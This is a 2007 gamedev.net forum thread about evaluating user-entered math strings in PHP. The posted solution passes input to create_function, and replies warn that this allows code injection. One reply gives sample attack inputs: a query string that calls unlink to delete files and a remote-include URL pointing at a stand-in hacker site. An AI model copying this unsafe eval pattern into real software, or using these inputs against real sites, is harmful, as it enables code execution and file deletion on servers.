Skip to main content
gamedev.net
🔒 Locked

PHP: Interpret Math String and Return Value

Started by Prozak Feb 21, 2007 at 4:02 PM 4 replies 7.5k views
Original Post
Prozak
Prozak
I've got this Money Management page I'm working on, and you can enter what you've spent money on, how much, add tags to that transaction, keywords, a description, etc... One of the features I wanted to add was that, instead of the user being limited to entering absolute values, like "3.45", he could enter simple operations, like "20-1.45". It makes more sense when you go to the supermarket, and you want to delay what was spent and where. So I'm looking for some sort of PHP function that will interpret the math string "20 - 1.45" at runtime. Any ideas?
Prozak
Prozak
I had one of those moments after I posted for help.

Here is my solution, I'm still taking hints on how to make this better:
function calc_string( $mathString ){	$cf_DoCalc = create_function("", "return (" . $mathString . ");" );		return $cf_DoCalc();};echo("
Result: " . calc_string("3*4+2-13*(2.5*10*2*2/4)") );


The calc_string function creates a virtual function whose source code you pass as the math string, and it gets interpreted.

Output is:
Quote:
Result: -311
ToohrVyk
ToohrVyk
Your solution works, as long as you make sure the argument only uses mathematical operations. If you use the string provided by the user as-is, you basically have a wide open security hole, since you allow the user to execute any code he wants on your server.

If you only need mathematical operations, you could test it against the regexp [-+*/%()0-9]* and see if it matches the entire string. For more complex operations, you'll require your own tokenizer anyway.
nemesisgeek
nemesisgeek
Quote:
Original post by Prozak
I had one of those moments after I posted for help.

Here is my solution, I'm still taking hints on how to make this better:
*** Source Snippet Removed ***

The calc_string function creates a virtual function whose source code you pass as the math string, and it gets interpreted.

Output is:
Quote:
Result: -311


If I'm reading the OP right, in that the input string will be sent in as a form submission, there is a serious security flaw in this code. (No, I'm not saying anything about SQL injection. That's been covered a million times over.)

Ideally, you won't even use Prozak's solution. (I've outlined a better one at the end of this post.) If you must use his code for some reason, I would STRONGLY recommend some sort of validation for the input, to ensure that it is purely numbers and mathematical operators. Otherwise, you're essentially executing untrusted PHP code, which is very risky to say the least.

Imagine what would happen if, given this code:
//File: MyFile.phpfunction calc_string( $mathString ){	$cf_DoCalc = create_function("", "return (" . $mathString . ");" );		return $cf_DoCalc();};calc_string($_GET["input"]);


someone viewed the page http://mysite.com/MyFile.php?input=unlink("*.*")!

(Hint to less-experienced PHP programmers: It's about the same result as typing del *.* at a DOS prompt.)



Validation is also very important for "include" statements coming from the query string.

[src lang="php"]
//File: MyFile.php

//code here...

include $_GET["library"];

//code here...
[/src]

The intention is that someone will do http://www.mysite.com/MyFile.php?library=database.php or something like that.

On the other hand, given the file http://www.hackersite.com/virus.dat containing the text , someone could very easily call your page as http://www.mysite.com/MyFile.php?library=http://www.hackersite.com/virus.dat and delete everything on your server. (Some PHP intallations do not allow HTTP in include statements, but a lot do.)



In short, validate everything coming from an untrusted source. The best solution would be a function to loop through the input, character by character and parse it yourself.

Here's a rough outline. I've implemented the same algorithm in C++ for my scripting language parser, but doing it in PHP with regular expressions should be even easier.

Loop through string. Divide it into terms separated by plus or minus signs. (Ex: 2+2*6 is two terms: 2 and 2*6, and one operator: +)

Loop through terms. Divide each one into numbers separated by multiplication or division signs. Evaluate each term: (2 evaluates to 2, 2*6 evaluates to 12, etc.).

Set total to zero. Loop through term values. Add or subtract the next term's value from the total, depending on current operator.
hackerkey://v4sw7+8CHS$hw6+8ln6pr8O$ck4ma4+9u5Lw7VX$m0l5Ri8ONotepad++/e3+8t3b8AORTen7+9a17s0r4g8OP
Prozak
Prozak
Thanks for the replies, but there is already a whole system for input filtering, so no security issues here [wink].

Strings are checked client side (because it's more user friendly to give a bad-input error before submitting the page) using &#106avascript, and then server side again (because the client cannot be trusted) using PHP.
nemesisgeek
nemesisgeek
In that case, eval() is your friend. Look it up on the PHP documentation.
hackerkey://v4sw7+8CHS$hw6+8ln6pr8O$ck4ma4+9u5Lw7VX$m0l5Ri8ONotepad++/e3+8t3b8AORTen7+9a17s0r4g8OP

Topic Locked

This topic has been locked by a moderator. New replies are not allowed.

Sign in to reply to this topic.